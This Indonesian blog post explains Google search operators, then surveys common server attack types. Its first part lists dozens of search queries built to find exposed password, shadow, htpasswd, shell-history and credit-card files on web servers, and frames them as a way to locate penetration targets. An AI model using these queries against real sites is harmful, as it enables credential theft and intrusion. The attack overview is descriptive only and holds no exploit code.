” Intitle:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan judul yang mengandung informasi pada topik yang
dimaksud. Sebagai contoh pada pencarian, “intitle:
password admin “ ( tanpa tanda kutip ). Pencarian akan mencari page yang mengandung kata “ password “ sebagai judulnya dengan prioritas utama “admin” .
Jika pada pencarian terdapat dua query pencarian utama, digunakan sintaks allintitle: untuk pencarian secara lengkap. Sebagai contoh pada pencarian “allintitle:admin mdb”. Maka pencarian akan dibatasi pada dua subjek utama judul yaitu “admin” dan “mdb”.

“ inurl:” ialah sintaks perintah untuk membatasi pencarian yang hanya menghasilkan semua URL yang hanya berisi kata kunci informasi yang dimaksudkan. Sebagai contoh pencarian dalam pencarian,”inurl : database mdb”. Pencarian akan menghasilkan semua URL yang hanya mengandung informasi tentang “database mdb “.
Hal yang sama juga berlaku pada sintaks ini, jika terdapat dua query pencarian utama, digunakan sintaks “allinurl:” untuk mendapatkan list url tersebut.
Sebagai contoh pencarian “allinurl: etc/passwd“ , pencarian akan menghasilkan URL yang mengandung informasi tentang “etc” dan “passwd”. Tanda garis miring slash (“/”) diantara dua kata etc dan passwd akan diabaikan oleh mesin pencari Google.

“site:” ialah sintaks perintah untuk membatasi pencarian suatu query informasi berdasarkan pada suatu situs atau domain tertentu. Sebagai contoh pada pencarian informasi: “waveguide site:itb.ac.id” (tanpa tanda kutip). Pencarian akan mencari topic tentang waveguide pada semua halaman yang tersedia pada domain itb.ac.id.

“cache:” akan menunjukkan daftar web yang telah masuk kedalam indeks database Google. Sebagai contoh:
“cache:deffcon.org”, pencarian akan memperlihatkan list yang disimpan pada Google untuk page deffcon.org

“filetype:” ialah sintaks perintah pada Google untuk pencarian data pada internet dengan ekstensi tertentu (i.e. doc, pdf or ppt etc). Sebagai contoh pada pencarian : “filetype:doc site:go.id confidental” ( tanpa tanda kutip). Pencarian akan menghasilkan file data dengan ekstensi “.doc” pada semua domain go.id yang berisi informasi “confidential”.

“link:” ialah sintaks perintah pada Google yang akan menunjukkan daftar list webpages yang memiliki link pada webpage special. Sebagai contoh:“link:www.securityfocus.com” akan menunjuukan daftar webpage yang memiliki point link pada page SecurityFocus.

“related:” sintaks ini akan memberikan daftar web pages yang serupa dengan web page yang di indikasikan.
Sebagai contoh: “related:www.securityfocus.com”, pencarian akan memberi daftar web page yang serupa dengan homepage Securityfocus.

“intext:” sintaks perintah ini akan mencari kata kata pada website tertentu. Perintah ini mengabaikan link atau URL dan judul halaman. Sebagai contoh :
“intext:admin” (tanpa tanda petik), pencarian akan menghasilkan link pada web page yang memiliki keyword yang memiliki keyword admin.

Beberapa query sintaks diatas akan sangat membantu dalam pencarian data dan informasi lebih detail.
Google dapat menjadi mesin pencari untuk menggali informasi tertentu dan rahasia, informasi yang tidak diperkirakan yang dapat memberitahukan sisi lemah suatu sistem. Hal tersebut yang dimanfaatkan oleh sebagian individu untuk melakukan penetrasi suatu server atau sistem informasi .

Sintaks “Index of ” dapat digunakan untuk mendapatkan situs yang menampilkan indeks browsing direktori.
Webserver dengan indeks browsing yang dapat diakses, berarti siapa saja dapat melakukan akses pada direktori webserver, seperti layaknya dapat dilakukan pada lokal direktori pada umumnya.
Pada kesempatan ini dipaparkan bagaimana penggunaan sintaks “index of” untuk mendapatkan hubungan pada webserver dengan direktori indeks browsing yang dapat diakses.. Hal tersebut merupakan sumber informasi yang sederhana dapat diperoleh, akan tetapi isi dari informasi seringkali merupakan informasi yang sangat penting. Informasi tersebut dapat saja berupa password akses atau data transaksi online dan hal yang sangat penting lainnya.
Dibawah ini merupakan beberapa contoh penggunaan sintaks “ indeks of” untuk mendapatkan informasi yang penting dan sensitive sifatnya.

Contoh :
Index of /admin
Index of /passwd
Index of /password
Index of /mail
“Index of /” +passwd
“Index of /” +password.txt
“Index of /” +.htaccess
“Index of /secret”
“Index of /confidential”
“Index of /root”
“Index of /cgi-bin”
“Index of /credit-card”
“Index of /logs”
“Index of /config”
“Index of/admin.asp
“Index of/login.asp

Mencari sistem atau server yang vulnerable menggunakan sintaks “inurl:” atau “allinurl:”

1. Menggunakan sintaks “allinurl:winnt/system32/” (dengan tanda petik ) akan menampilkan daftar semua link pada server yang memberikan akses pada direktori yang terlarang seperti “system32”. Terkadang akan didapat akses pada cmd.exe pada direktori “system32” yang memungkinkan seseorang untuk mengambil alih kendali sistem pada server tersebut.

2. Menggunakan “allinurl:wwwboard/passwd.txt” ( dengan tanda petik ) akan menampilkan daftar semua link pada server yang memiliki kelemahan pada “wwwboard Password”. Pembahasan lebih lanjut tentang vulnerability “wwwboard Password” dapat dilihat pada site keamanan jaringan seperti http://www.securityfocus.com atau http://www.securitytracker.com

3. Menggunakan sintaks “inurl: bash history” (dengan tanda petik ) akan menampilkan daftar link pada server yang memberikan akses pada file “bash history” melalui web. File tersebut merupakan command history file yang mengandung daftar perintah yang dieksekusi oleh administrator, yang terkadang menyangkut informasi sensitive seperti password sistem. Seringkali password pada sistem telah dienkripsi, untuk mendapatkan password aslinya bentuk yang dienkripsi ini harus didekripsi menggunakan program password cracker. Lama waktu untuk mendapatkan hasil dekripsi tergantung dari keandalan program dan banyaknya karakter yang terenkripsi.

4. Menggunakan “inurl:config.txt” (dengan tanda petik) akan menampilkan daftar semua link pada server yang memberikan akses pada file “config.txt. File ini berisi informasi penting termasuk hash value dari password administrator dan proses autentifikasi dari suatu database.

Sintaks “inurl:” atau “allinurl:” dapat dikombinasikan dengan sintaks yang lainnya seperti pada daftar dibawah ini :

Inurl: /cgi-bin/cart32.exe
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:”wwwroot/*.”
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls “restricted”
index of ftp +.mdb allinurl:/cgi-bin/ +mailto allinurl:/scripts/cart32.exe allinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
allinurl:/privmsg.php
allinurl:/privmsg.php
inurl:cgi-bin/go.cgi?go=*
allinurl:.cgi?page=*.txt
allinurul:/modules/My_eGallery

Mencari suatu sistem atau server yang memiliki kelemahan dengan sintaks “intitle:”
atau “allintitle:”

1. Menggunakan allintitle: “index of /root” ( tanpa tanda kutip ) akan menampilkan
Daftar link pada webserver yang memberikan akses pada direktori yang terlarang seperti direktori root.

2. Menggunakan allintitle: “index of /admin” ( tanpa tanda kutip ) akan menampilkan link pada site yang memiliki indeks browsing yang dapat diakses untuk direktori terlarang seperti direktori “admin”.

Penggunaan lain dari sintaks “intitle:” atau “allintitle:” yang dikombinasikan dengan sintaks lainnya antara lain :

intitle:”Index of” .sh_history
intitle:”Index of” .bash_history
intitle:”index of” passwd
intitle:”index of” people.lst
intitle:”index of” pwd.db
intitle:”index of” etc/shadow
intitle:”index of” spwd
intitle:”index of” master.passwd
intitle:”index of” htpasswd
intitle:”index of” members OR accounts
intitle:”index of” user_carts OR user_cart
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
allintitle:*.php?filename=*
allintitle:*.php?page=*
allintitle:*.php?logon=*

Penggunaan dan kombinasi pada sintaks tidak hanya terbatas pada contoh paparan diatas. Masih banyak lagi kombinasi dari sintaks sintaks dengan berbagai kata kunci yang dapat digunakan. Hal tersebut bergantung pada kreativitas dan kemauan untuk mencoba. Ada baiknya penggunaan wacana yang telah dipaparkan ini digunakan untuk kepentingan yang tidak menimbulkan kerugian atau kerusakan.
Kelemahan pada suatu sistem atau server yang diketahui ada baiknya dilakukan sharing dengan administrator sistem yang bersangkutan sehingga dapat bermanfaat bagi semua pihak. Dikarenakan kemungkinan besar hasil dari pencarian informasi dapat memberikan informasi yang sensitive, yang seringkali menyangkut segi keamanan suatu sistem atau server.
Wacana tentang sintaks yang sangat membantu dalam pencarian informasi tersebut akhirnya tergantung pada niat dan tujuan dalam pencarian data. Apakah sungguh sungguh dilakukan untuk kebutuhan pencarian data, mengumpulkan informasi dari suatu mesin target penetrasi. Tujuan akhirnya bergantung pada niat individu yang bersangkutan sehingga penulis tidak bertanggung jawab terhadap penyalahgunaan dari informasi yang telah dipaparkan. Seperti kata pepatah lama “ resiko ditanggung penumpang “.

sumber : http://spinx21.blogspot.com/

Cara Dan Jenis Hacker Menyerang Situs

Dalam dunia hacking (tepatnya cracking ding) dikenal beberapa jenis serangan terhadap server. Berikut ini jenis-jenis serangan dasar yang dapat dikelompokkan dalam minimal 6 kelas, yaitu:

Intrusion
Pada jenis serangan ini seorang cracker (umumnya sudah level hacker) akan dapat menggunakan sistem komputer server. Serangan ini lebih terfokus pada full access granted dan tidak bertujuan merusak. Jenis serangan ini pula yg diterapkan oleh para hacker untuk menguji keamanan sistem jaringan mereka. Dilakukan dalam beberapa tahap dan tidak dalam skema kerja spesifik pada setiap serangannya (dijelaskan pada artikel lain).

Denial of Services (DoS)
Penyerangan pada jenis DoS mengakibatkan layanan server mengalami stuck karena kebanjiran
request oleh mesin penyerang. Pada contoh kasus Distributed Denial of Services (DDoS) misalnya; dengan menggunakan mesin-mesin zombie, sang penyerang akan melakukan packeting request pada server secara serentak asimetris dan simultan sehingga buffer server akan kelabakan menjawabnya. Stuck/hang akan menimpa server. Jadi bukan server lagi namanya (servicenya mati masak dibilang server? hehehe….)

Joyrider
Nah, ini namanya serangan iseng. Karena kebanyakan baca novel-novel hacking dan gak bisa
belajar benar, isenglah jadinya nyoba-nyoba nyerang pake ilmu-ilmu instan super cepat atau dengan alasan pengen tau isinya mesin orang, yang jelas serangan jenis ini rata-rata karena rasa ingin tau, tapi ada juga yang sampe menyebabkan kerusakan atau kehilangan data.

Vandal
Jenis serangan spesialis pengrusak.

Scorekeeper
Serangan yang bertujuan mencapai reputasi hasil cracking terbanyak. Biasanya hanya berbentuk deface halaman web (index/nambah halaman) dengan memampangakan NickName dan kelompok tertentu. Sebagian besar masih tidak perduli dengan isi mesin sasarannya. Saat ini jenis penyerang ini lebih dikenal dengan sebutan WannaBe/Script kiddies.

Spy
Tiga hurup saja. Jenis serangan untuk memperoleh data atau informasi rahasia dari mesin
target. Biasanya menyerang pada mesin-mesin dengan aplikasi database didalamnya. Kadang
kala suatu perusahaan menyewa ‘mata-mata’ untuk mencuri data perusahaan rivalnya

1. IP Spoofing
IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu pemalsuan alamat IP attacker sehingga sasaran menganggap alamat IP attacker adalah alamat IP dari host di dalam network bukan dari luar network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx ketika attacker melakukan serangan jenis ini maka Network yang diserang akan menganggap IP attacker adalah bagian dari Networknya misal 192.xx.xx.xx yaitu IP type C. IP Spoofing terjadi ketika seorang attacker ‘mengakali’ packet routing untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda. Packet untuk routing biasanya di transmisikan secara transparan dan jelas sehingga membuat attacker dengan mudah untuk memodifikasi asal data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh attacker tetapi juga dipakai oleh para security profesional untuk men tracing identitas dari para attacker.

2. FTP Attack
Salah satu serangan yang dilakukan terhadap File Transfer Protocol adalah serangan buffer overflow yang diakibatkan oleh malformed command. tujuan menyerang FTP server ini rata-rata adalah untuk mendapatkan command shell ataupun untuk melakukan Denial Of Service. Serangan Denial Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk mengambil resource didalam network tanpa adanya autorisasi, sedangkan command shell dapat membuat seorang attacker mendapatkan akses ke sistem server dan file-file data yang akhirnya seorang attacker bisa membuat anonymous root-acces yang mempunyai hak penuh terhadap system bahkan network yang diserang. Tidak pernah atau jarang mengupdate versi server dan mempatchnya adalah kesalahan yang sering dilakukan oleh seorang admin dan inilah yang membuat server FTP menjadi rawan untuk dimasuki. Sebagai contoh adalah FTP server yang populer di keluarga UNIX yaitu WU-FTPD yang selalu di upgrade dua kali dalam sehari untuk memperbaiki kondisi yang mengizinkan terjadinya bufferoverflow Mengexploitasi FTP juga berguna untuk mengetahui password yang terdapat dalam sistem, FTP Bounce attack (menggunakan server ftp orang lain untuk melakukan serangan), dan mengetahui atau mensniff
informasi yang berada dalam sistem.

3. Unix Finger Exploits
Pada masa awal internet, Unix OS finger utility digunakan secara efficient untuk men sharing informasi diantara pengguna. Karena permintaan informasi terhadap informasi finger ini tidak menyalahkan peraturan, kebanyakan system Administrator meninggalkan utility ini (finger) dengan keamanan yang sangat minim, bahkan tanpa kemanan sama sekali. Bagi seorang attacker utility ini sangat berharga untuk melakukan informasi tentang footprinting, termasuk nama login dan informasi contact. Utility ini juga menyediakan keterangan yang sangat baik tentang aktivitas user didalam sistem, berapa lama user berada dalam sistem dan seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger ini dapat meminimalisasi usaha cracker dalam menembus sebuah sistem. Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini sudah cukup bagi seorang atacker untuk melakukan social engineering dengan menggunakan social skillnya untuk memanfaatkan user agar ‘memberitahu’ password dan kode akses terhadap system.

4. Flooding & Broadcasting
Seorang attacker bisa menguarangi kecepatan network dan host-host yang berada di dalamnya secara significant dengan cara terus melakukan request/permintaan terhadap suatu informasi dari sever yang bisa menangani serangan classic Denial Of Service(Dos), mengirim request ke satu port secara berlebihan dinamakan flooding, kadang hal ini juga disebut spraying. Ketika permintaan flood ini dikirim ke semua station yang berada dalam network serangan ini dinamakn broadcasting. Tujuan dari kedua serangan ini adalah sama yaitu membuat network resource yang menyediakan informasi menjadi lemah dan akhirnya menyerah.
Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran dan/atau volume (size and/or volume). Seorang attacker dapat menyebabkan Denial Of Service dengan cara melempar file berkapasitas besar atau volume yang besar dari paket yang kecil kepada sebuah system. Dalam keadaan seperti itu network server akan menghadapi kemacetan: terlalu banyak informasi yang diminta dan tidak cukup power untuk mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan kapasitas proses yang besar pula, tetapi secara tidak normal paket yang kecil dan sama dalam volume yang besar akan menghabiskan resource secara percuma, dan mengakibatkan kemacetan.

5. Fragmented Packet Attacks
Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi ke dalam paket-paket yang hanya mengandung paket pertama yang isinya berupa informasi bagian utama( kepala) dari TCP. Beberapa firewall akan mengizinkan untuk memroses bagian dari paket-paket yang tidak mengandung informasi alamat asal pada paket pertamanya, hal ini akan mengakibatkan beberapa type system menjadi crash. Contohnya, server NT akan menjadi crash jika paket-paket yang dipecah(fragmented packet) cukup untuk menulis ulang informasi paket pertama dari suatu protokol.

6. E-mail Exploits
Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods, manipulasi perintah (command manipulation), serangan tingkat transportasi(transport level attack), memasukkan berbagai macam kode (malicious code inserting) dan social engineering(memanfaatkan sosialisasi secara fisik). Penyerangan email bisa membuat system menjadi crash, membuka dan menulis ulang bahkan mengeksekusi file-file aplikasi atau juga membuat akses ke fungsi fungsi perintah (command function).

7. DNS and BIND Vulnerabilities
Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang aplikasi Barkeley Internet Name Domain (BIND) dalam berbagai versi mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis yang diarahkan pada operasi dasar dari Internet (basic internet operation).

8. Password Attacks
Password merupakan sesuatu yang umum jika kita bicara tentang kemanan. Kadang seorang user tidak perduli dengan nomor pin yang mereka miliki, seperti bertransaksi online di warnet, bahkan bertransaksi online dirumah pun sangat berbahaya jika tidak dilengkapi dengan software security seperti SSL dan PGP. Password adalah salah satu prosedur kemanan yang sangat sulit untuk diserang, seorang attacker mungkin saja mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial) hanya untuk membuka sesuatu yang dilindungi oleh password. Ketika seorang attacker berhasil mendapatkan password yang dimiliki oleh seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user tersebut. Melatih karyawan/user agar tetap waspada dalam menjaga passwordnya dari social engineering setidaknya dapat meminimalisir risiko, selain berjaga-jaga dari praktek social enginering organisasi pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan yang dilakukan terhadap password adalah menebak (guessing), brute force, cracking dan sniffing.

9.Proxy Server Attacks
Salah satu fungsi Proxy server adalah untuk mempercepat waktu response dengan cara menyatukan proses dari beberapa host dalam suatu trusted network. Dalam kebanyakan kasus, tiap host mempunyai kekuasan untuk membaca dan menulis (read/write) yang berarti apa yang bisa saya lakukan dalam sistem saya akan bisa juga saya lakukan dalam system anda dan sebaliknya.

10. Remote Command Processing Attacks
Trusted Relationship antara dua atau lebih host menyediakan fasilitas pertukaran informasi dan resource sharing. Sama halnya dengan proxy server, trusted relationship memberikan kepada semua anggota network kekuasaan akses yang sama di satu dan lain system (dalam network).
Attacker akan menyerang server yang merupakan anggota dari trusted system. Sama seperti kerawanan pada proxy server, ketika akses diterima, seorang attacker akan mempunyai kemampuan mengeksekusi perintah dan mengkases data yang tersedia bagi user lainnya.

11. Remote File System Attack
Protocol-protokol untuk tranportasi data –tulang punggung dari internet— adalah tingkat TCP (TCPLevel) yang mempunyai kemampuan dengan mekanisme untuk baca/tulis (read/write) Antara network dan host. Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme ini untuk mendapatkan akses ke direktori file.

12. Selective Program Insertions
Selective Program Insertions adalah serangan yang dilakukan ketika attacker menaruh program-program penghancur, seperti virus, worm dan trojan (mungkin istilah ini sudah anda kenal dengan baik ☺) pada system sasaran. Program-program penghancur ini sering juga disebut malware. Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan file, pencurian password sampai dengan membuka backdoor.

13. Port Scanning
Melalui port scanning seorang attacker bisa melihat fungsi dan cara bertahan sebuah system dari berbagai macam port. Seorang atacker bisa mendapatkan akses kedalam sistem melalui port yang tidak dilindungi. Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default SNMP string di buka untuk publik, yang artinya informasi bisa di extract untuk digunakan dalam remote command attack.

14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet Interception berjalan untuk mengumpulkan informasi yang sensitif untuk mengkases network. Tidak seperti serangan aktif maupun brute-force, serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas stealth-like.

15. HTTPD Attacks
Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam: buffer overflows, httpd bypasses, cross scripting, web code vulnerabilities, dan URL floods.
HTTPD Buffer Overflow bisa terjadi karena attacker menambahkan errors pada port yang digunakan untuk web traffic dengan cara memasukan banyak carackter dan string untuk menemukan tempat overflow yang sesuai. Ketika tempat untuk overflow ditemukan, seorang attacker akan memasukkan string yang akan menjadi perintah yang dapat dieksekusi. Bufer-overflow dapat memberikan attacker akses ke command prompt. Smile Beer

sumber : http://spinx21.blogspot.com/